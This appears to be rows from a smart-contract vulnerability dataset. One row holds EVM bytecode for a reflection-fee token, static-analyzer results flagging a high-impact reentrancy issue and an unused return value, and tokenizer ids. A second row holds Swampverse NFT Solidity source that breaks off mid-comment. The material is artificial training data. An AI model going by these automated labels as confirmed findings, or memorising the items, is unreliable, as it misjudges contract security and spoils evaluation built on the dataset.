ff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106556111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106d990612c64565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107406111ee565b73ffffffffffffffffffffffffffffffffffffffff161461076057600080fd5b600047905061076e81611a2a565b50565b60006107bb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b25565b9050919050565b6107ca6111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610857576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084e90612c64565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4f50310000000000000000000000000000000000000000000000000000000000815250905090565b600061098f6109886111ee565b84846113c1565b6001905092915050565b6109a16111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a2590612c64565b60405180910390fd5b60005b8151811015610ae557600160066000848481518110610a79577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610add9061301a565b915050610a31565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b2a6111ee565b73ffffffffffffffffffffffffffffffffffffffff1614610b4a57600080fd5b6000610b5530610771565b9050610b6081611b93565b50565b610b6b6111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bef90612c64565b60405180910390fd5b600f60149054906101000a900460ff1615610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f90612ce4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cd830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006111f6565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1e57600080fd5b505afa158015610d32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d569190612680565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610db857600080fd5b505afa158015610dcc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df09190612680565b6040518363ffffffff1660e01b8152600401610e0d929190612ad4565b602060405180830381600087803b158015610e2757600080fd5b505af1158015610e3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5f9190612680565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ee830610771565b600080610ef3610915565b426040518863ffffffff1660e01b8152600401610f1596959493929190612b26565b6060604051808303818588803b158015610f2e57600080fd5b505af1158015610f42573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f679190612803565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550683635c9adc5dea000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161106a929190612afd565b602060405180830381600087803b15801561108457600080fd5b505af1158015611098573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110bc91906127da565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61114f6111ee565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d390612c64565b60405180910390fd5b683635c9adc5dea00000601081905550565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125d90612cc4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cd90612c04565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113b49190612d04565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890612ca4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149890612bc4565b60405180910390fd5b600081116114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612c84565b60405180910390fd5b6002600a819055506008600b819055506114fc610915565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561156a575061153a610915565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156119b657600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116135750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61161c57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156116c75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117355750600f60179054906101000a900460ff165b156117e55760105481111561174957600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061179457600080fd5b601e426117a19190612e3a565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156118905750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118e65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118fc576002600a81905550600a600b819055505b600061190730610771565b9050600f60159054906101000a900460ff161580156119745750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561198c5750600f60169054906101000a900460ff165b156119b45761199a81611b93565b600047905060008111156119b2576119b147611a2a565b5b505b505b6119c1838383611e8d565b505050565b6000838311158290611a0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a059190612ba2565b60405180910390fd5b5060008385611a1d9190612f1b565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a7a600284611e9d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611aa5573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611af6600284611e9d90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611b21573d6000803e3d6000fd5b5050565b6000600854821115611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6390612be4565b60405180910390fd5b6000611b76611ee7565b9050611b8b8184611e9d90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bf1577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611c1f5781602001602082028036833780820191505090505b5090503081600081518110611c5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cff57600080fd5b505afa158015611d13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d379190612680565b81600181518110611d71577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611dd830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111f6565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611e3c959493929190612d1f565b600060405180830381600087803b158015611e5657600080fd5b505af1158015611e6a573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e98838383611f12565b505050565b6000611edf83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120dd565b905092915050565b6000806000611ef4612140565b91509150611f0b8183611e9d90919063ffffffff16565b9250505090565b600080600080600080611f24876121a2565b955095509550955095509550611f8286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461220a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061201785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612063816122b2565b61206d848361236f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516120ca9190612d04565b60405180910390a3505050505050505050565b60008083118290612124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161211b9190612ba2565b60405180910390fd5b50600083856121339190612e90565b9050809150509392505050565b600080600060085490506000683635c9adc5dea000009050612176683635c9adc5dea00000600854611e9d90919063ffffffff16565b82101561219557600854683635c9adc5dea0000093509350505061219e565b81819350935050505b9091565b60008060008060008060008060006121bf8a600a54600b546123a9565b92509250925060006121cf611ee7565b905060008060006121e28e87878761243f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061224c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506119c6565b905092915050565b60008082846122639190612e3a565b9050838110156122a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161229f90612c24565b60405180910390fd5b8091505092915050565b60006122bc611ee7565b905060006122d382846124c890919063ffffffff16565b905061232781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461225490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6123848260085461220a90919063ffffffff16565b60088190555061239f8160095461225490919063ffffffff16565b6009819055505050565b6000806000806123d560646123c7888a6124c890919063ffffffff16565b611e9d90919063ffffffff16565b905060006123ff60646123f1888b6124c890919063ffffffff16565b611e9d90919063ffffffff16565b905060006124288261241a858c61220a90919063ffffffff16565b61220a90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061245885896124c890919063ffffffff16565b9050600061246f86896124c890919063ffffffff16565b9050600061248687896124c890919063ffffffff16565b905060006124af826124a1858761220a90919063ffffffff16565b61220a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124db576000905061253d565b600082846124e99190612ec1565b90508284826124f89190612e90565b14612538576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252f90612c44565b60405180910390fd5b809150505b92915050565b600061255661255184612db9565b612d94565b9050808382526020820190508285602086028201111561257557600080fd5b60005b858110156125a5578161258b88826125af565b845260208401935060208301925050600181019050612578565b5050509392505050565b6000813590506125be816133a5565b92915050565b6000815190506125d3816133a5565b92915050565b600082601f8301126125ea57600080fd5b81356125fa848260208601612543565b91505092915050565b600081359050612612816133bc565b92915050565b600081519050612627816133bc565b92915050565b60008135905061263c816133d3565b92915050565b600081519050612651816133d3565b92915050565b60006020828403121561266957600080fd5b6000612677848285016125af565b91505092915050565b60006020828403121561269257600080fd5b60006126a0848285016125c4565b91505092915050565b600080604083850312156126bc57600080fd5b60006126ca858286016125af565b92505060206126db858286016125af565b9150509250929050565b6000806000606084860312156126fa57600080fd5b6000612708868287016125af565b9350506020612719868287016125af565b925050604061272a8682870161262d565b9150509250925092565b6000806040838503121561274757600080fd5b6000612755858286016125af565b92505060206127668582860161262d565b9150509250929050565b60006020828403121561278257600080fd5b600082013567ffffffffffffffff81111561279c57600080fd5b6127a8848285016125d9565b91505092915050565b6000602082840312156127c357600080fd5b60006127d184828501612603565b91505092915050565b6000602082840312156127ec57600080fd5b60006127fa84828501612618565b91505092915050565b60008060006060848603121561281857600080fd5b600061282686828701612642565b935050602061283786828701612642565b925050604061284886828701612642565b9150509250925092565b600061285e838361286a565b60208301905092915050565b61287381612f4f565b82525050565b61288281612f4f565b82525050565b600061289382612df5565b61289d8185612e18565b93506128a883612de5565b8060005b838110156128d95781516128c08882612852565b97506128cb83612e0b565b9250506001810190506128ac565b5085935050505092915050565b6128ef81612f61565b82525050565b6128fe81612fa4565b82525050565b600061290f82612e00565b6129198185612e29565b9350612929818560208601612fb6565b612932816130f0565b840191505092915050565b600061294a602383612e29565b915061295582613101565b604082019050919050565b600061296d602a83612e29565b915061297882613150565b604082019050919050565b6000612990602283612e29565b915061299b8261319f565b604082019050919050565b60006129b3601b83612e29565b91506129be826131ee565b602082019050919050565b60006129d6602183612e29565b91506129e182613217565b604082019050919050565b60006129f9602083612e29565b9150612a0482613266565b602082019050919050565b6000612a1c602983612e29565b9150612a278261328f565b604082019050919050565b6000612a3f602583612e29565b9150612a4a826132de565b604082019050919050565b6000612a62602483612e29565b9150612a6d8261332d565b604082019050919050565b6000612a85601783612e29565b9150612a908261337c565b602082019050919050565b612aa481612f8d565b82525050565b612ab381612f97565b82525050565b6000602082019050612ace6000830184612879565b92915050565b6000604082019050612ae96000830185612879565b612af66020830184612879565b9392505050565b6000604082019050612b126000830185612879565b612b1f6020830184612a9b565b9392505050565b600060c082019050612b3b6000830189612879565b612b486020830188612a9b565b612b5560408301876128f5565b612b6260608301866128f5565b612b6f6080830185612879565b612b7c60a0830184612a9b565b979650505050505050565b6000602082019050612b9c60008301846128e6565b92915050565b60006020820190508181036000830152612bbc8184612904565b905092915050565b60006020820190508181036000830152612bdd8161293d565b9050919050565b60006020820190508181036000830152612bfd81612960565b9050919050565b60006020820190508181036000830152612c1d81612983565b9050919050565b60006020820190508181036000830152612c3d816129a6565b9050919050565b60006020820190508181036000830152612c5d816129c9565b9050919050565b60006020820190508181036000830152612c7d816129ec565b9050919050565b60006020820190508181036000830152612c9d81612a0f565b9050919050565b60006020820190508181036000830152612cbd81612a32565b9050919050565b60006020820190508181036000830152612cdd81612a55565b9050919050565b60006020820190508181036000830152612cfd81612a78565b9050919050565b6000602082019050612d196000830184612a9b565b92915050565b600060a082019050612d346000830188612a9b565b612d4160208301876128f5565b8181036040830152612d538186612888565b9050612d626060830185612879565b612d6f6080830184612a9b565b9695505050505050565b6000602082019050612d8e6000830184612aaa565b92915050565b6000612d9e612daf565b9050612daa8282612fe9565b919050565b6000604051905090565b600067ffffffffffffffff821115612dd457612dd36130c1565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e4582612f8d565b9150612e5083612f8d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612e8557612e84613063565b5b828201905092915050565b6000612e9b82612f8d565b9150612ea683612f8d565b925082612eb657612eb5613092565b5b828204905092915050565b6000612ecc82612f8d565b9150612ed783612f8d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f1057612f0f613063565b5b828202905092915050565b6000612f2682612f8d565b9150612f3183612f8d565b925082821015612f4457612f43613063565b5b828203905092915050565b6000612f5a82612f6d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612faf82612f8d565b9050919050565b60005b83811015612fd4578082015181840152602081019050612fb9565b83811115612fe3576000848401525b50505050565b612ff2826130f0565b810181811067ffffffffffffffff82111715613011576130106130c1565b5b80604052505050565b600061302582612f8d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561305857613057613063565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6133ae81612f4f565b81146133b957600080fd5b50565b6133c581612f61565b81146133d057600080fd5b50565b6133dc81612f8d565b81146133e757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203f18540036073a4249d036bcab99c5d7403ed83da0f5b036730d9de35f74eff864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 17914, 24434, 16576, 2497, 2683, 28756, 2549, 2094, 2581, 2487, 2050, 2620, 22610, 2546, 2575, 2497, 27531, 14141, 27009, 2063, 2475, 2063, 2620, 2094, 2575, 2683, 2546, 22025, 1013, 1008, 1008, 17042, 8133, 2005, 1996, 2088, 2501, 999, 2000, 8439, 1996, 9046, 2713, 1997, 1996, 6694, 2705, 2792, 1997, 2028, 3538, 1006, 2006, 1996, 7398, 2281, 1007, 1010, 2292, 1521, 1055, 3477, 14822, 2000, 1996, 9788, 26906, 1997, 2023, 6970, 1011, 4245, 2389, 8750, 8668, 8027, 1012, 2028, 3538, 6694, 19204, 2003, 2005, 12964, 1996, 2713, 1997, 1996, 6694, 2705, 2792, 1997, 2028, 3538, 1006, 2006, 1996, 7398, 2281, 1007, 1012, 23921, 1024, 16770, 1024, 1013, 1013, 1056, 1012, 2033, 1013, 2028, 11198, 18613, 2692, 11031, 10474, 1024, 16770, 1024, 1013, 1013, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,642
0x95784F7b5c8849b0104EAf5D13d6341d8CC40750
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./SwampverseERC721.sol"; interface ICroakens { function update(address from, address to) external; function burn(address from, uint256 amount) external; } contract Swampverse is SwampverseERC721 { using Address for address; struct SwamperInfo { string name; string description; } event UpdateName(uint256 indexed tokenId, string name); event UpdateDescription(uint256 indexed tokenId, string description); uint256 constant public UPDATE_NAME_PRICE = 100 ether; uint256 constant public UPDATE_DESCRIPTION_PRICE = 100 ether; ICroakens public Croakens; mapping(uint256 => SwamperInfo) public swamperInfo; constructor( address team, address signer, string memory baseTokenURI, address vrfCoordinator, address linkToken, bytes32 keyHash, uint256 linkFee ) SwampverseERC721( team, signer, baseTokenURI, vrfCoordinator, linkToken, keyHash, linkFee ) {} modifier onlyTokenOwner(uint256 tokenId) { require(ownerOf(tokenId) == msg.sender, "Sender is not the token owner"); _; } function setCroakensAddress(address croakens) public onlyOwner { Croakens = ICroakens(croakens); } function updateName(uint256 tokenId, string calldata name) public onlyTokenOwner(tokenId) { require(address(Croakens) != address(0), "No token contract set"); bytes memory n = bytes(name); require(n.length > 0 && n.length < 25, "Invalid name length"); require( sha256(n) != sha256(bytes(swamperInfo[tokenId].name)), "New name is same as current name" ); Croakens.burn(msg.sender, UPDATE_NAME_PRICE); swamperInfo[tokenId].name = name; emit UpdateName(tokenId, name); } function updateDescription(uint256 tokenId, string calldata description) public onlyTokenOwner(tokenId) { require(address(Croakens) != address(0), "No token contract set"); bytes memory d = bytes(description); require(d.length > 0 && d.length < 280, "Invalid description length"); require( sha256(bytes(d)) != sha256(bytes(swamperInfo[tokenId].description)), "New description is same as current description" ); Croakens.burn(msg.sender, UPDATE_DESCRIPTION_PRICE); swamperInfo[tokenId].description = description; emit UpdateDescription(tokenId, description); } function transferFrom(address from, address to, uint256 tokenId) public override nonReentrant { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); if (address(Croakens) != address(0)) { Croakens.update(from, to); } ERC721.transferFrom(from, to, tokenId); } function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override nonReentrant { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); if (address(Croakens) != address(0)) { Croakens.update(from, to); } ERC721.safeTransferFrom(from, to, tokenId, data); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./Whitelisted.sol"; contract SwampverseERC721 is ERC721, Ownable, ReentrancyGuard, Whitelisted, VRFConsumerBase { using Address for address; bytes32 internal _LINK_KEY_HASH; uint256 internal _LINK_FEE; uint256 internal _tokenIds; uint256 internal _reserved; uint256 internal _presaleMinted; uint256 internal _tokenOffset; string internal _baseTokenURI; address internal _team; uint256 constant public MAX_MINT = 10; uint256 constant public PRESALE_MAX_MINT = 3; uint256 constant public MINT_PRICE = 0.06 ether; uint256 constant public MAX_SUPPLY = 9600; uint256 constant public MAX_RESERVED = 100; string constant public PROVENANCE_HASH = "8016b8eee30dcaf2c61321cee08ccd0ae08657e3d150cbd49315e353b161cd6e"; // sha256 bool public revealed; bool public presaleActive; bool public saleActive; string public metadataURI; mapping(address => uint256) public presaleMints; constructor( address team, address signer, string memory baseTokenURI, address vrfCoordinator, address linkToken, bytes32 keyHash, uint256 linkFee ) ERC721("Swampverse", "SWAMPER") Whitelisted(signer) VRFConsumerBase(vrfCoordinator, linkToken) { _team = team; _baseTokenURI = baseTokenURI; _LINK_KEY_HASH = keyHash; _LINK_FEE = linkFee; } function totalSupply() external view returns (uint256) { return _tokenIds; } function tokenOffset() public view returns (uint256) { require(_tokenOffset != 0, "Offset has not been generated"); return _tokenOffset; } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } function setBaseTokenURI(string memory URI) public onlyOwner { _baseTokenURI = URI; } function setMetadataURI(string memory URI) public onlyOwner { metadataURI = URI; } function flipPresaleActive() public onlyOwner { presaleActive = !presaleActive; } function flipSaleActive() public onlyOwner { saleActive = !saleActive; } function flipRevealed() public onlyOwner { require(_tokenOffset != 0, "Offset has not been generated"); revealed = !revealed; } function setTokenOffset() public onlyOwner { require(_tokenOffset == 0, "Offset is already set"); requestRandomness(_LINK_KEY_HASH, _LINK_FEE); } function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { _tokenOffset = randomness % MAX_SUPPLY; } function reserve(uint256 amount, address to) public onlyOwner { require(_reserved + amount <= MAX_RESERVED, "Exceeds maximum number of reserved tokens"); _mintAmount(amount, to); _reserved += amount; } function presaleMint(bytes memory signature, uint256 amount) public payable nonReentrant isValidWhitelistSignature(signature) { require(presaleActive, "Presale has not started"); require(msg.value == MINT_PRICE * amount, "Invalid Ether amount sent"); require(presaleMints[msg.sender] + amount <= PRESALE_MAX_MINT, "Exceeds remaining presale balance"); _mintAmount(amount, msg.sender); presaleMints[msg.sender] += amount; _presaleMinted += amount; } function mint(uint256 amount) public payable nonReentrant { require(saleActive, "Public sale has not started"); require(msg.value == MINT_PRICE * amount, "Invalid Ether amount sent"); require(amount <= MAX_MINT, "Exceeds the maximum amount to mint at once"); _mintAmount(amount, msg.sender); } function _mintAmount(uint256 amount, address to) internal { require(_tokenIds + amount < MAX_SUPPLY, "Exceeds maximum number of tokens"); for (uint256 i = 0; i < amount; i++) { _safeMint(to, _tokenIds); _tokenIds += 1; } } function withdraw() nonReentrant public { require(msg.sender == _team || msg.sender == owner(), "Caller cannot withdraw"); Address.sendValue(payable(_team), address(this).balance / 5); Address.sendValue(payable(owner()), address(this).balance); } function withdrawLINK(address to, uint256 amount) external onlyOwner { require(LINK.balanceOf(address(this)) >= amount, "Insufficient LINK balance"); LINK.transfer(to, amount); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/LinkTokenInterface.sol"; import "./VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed 